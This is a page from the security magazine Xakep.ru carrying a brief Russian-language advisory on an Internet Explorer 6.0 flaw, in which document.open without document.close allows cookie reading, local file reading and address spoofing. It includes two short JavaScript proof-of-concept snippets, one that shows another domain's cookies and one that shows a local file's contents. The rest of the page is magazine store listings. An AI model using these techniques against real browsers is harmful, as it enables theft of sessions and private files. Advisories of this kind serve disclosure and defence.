Наши продукты

Все выпуски в PDF →
  • Годовая подписка на Xakep.ru

    Все статьи, PDF-архив, скидки и другие бонусы

    6000₽ в год

    Подписаться
  • Ежеквартальный «Хакер» #4

    Печатный выпуск за август–ноябрь 2026 года

    2000₽

    Заказать
  • Ежеквартальный «Хакер» #3

    Печатный выпуск за май–июль 2026 года

    2000₽

    Заказать
  • Спецвыпуск «Хакера» #4

    Избранные материалы 2021–2022 годов на бумаге

    2000₽

    Заказать

Простое открытие (document.open) документа без
его закрытия (document.close) позволяет атакующему
читать куки, читать локальные файлы,
подделывать адреса сайтов.

Уязвимая система: Internet Explorer 6.0

Примеры

Читаем произвольные куки:

<script>
function showcookie()
{
var domainname = document.forms.domainStuff.domainname.value; 
y = document.open("http://"+domainname, "x", "width=400,height=400,status = yes, location = yes,resizable = yes, toolbar=yes" );

setTimeout('alert(y.document.cookie);y.document.close();',5000);

}

</script>

<form name="domainStuff">
<input type=text name="domainname" size=50>
<input type=button value="Click to view cookie"
onclick="javascript:showcookie()">

Читаем файл:

<script>

var y = document.open( "c:/test.txt", "x", "width=400,height=400,status = yes, location = yes,resizable = yes, toolbar=yes" );
setTimeout('alert(y.document.body.innerHTML);y.document.close();',1000);

</script>

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии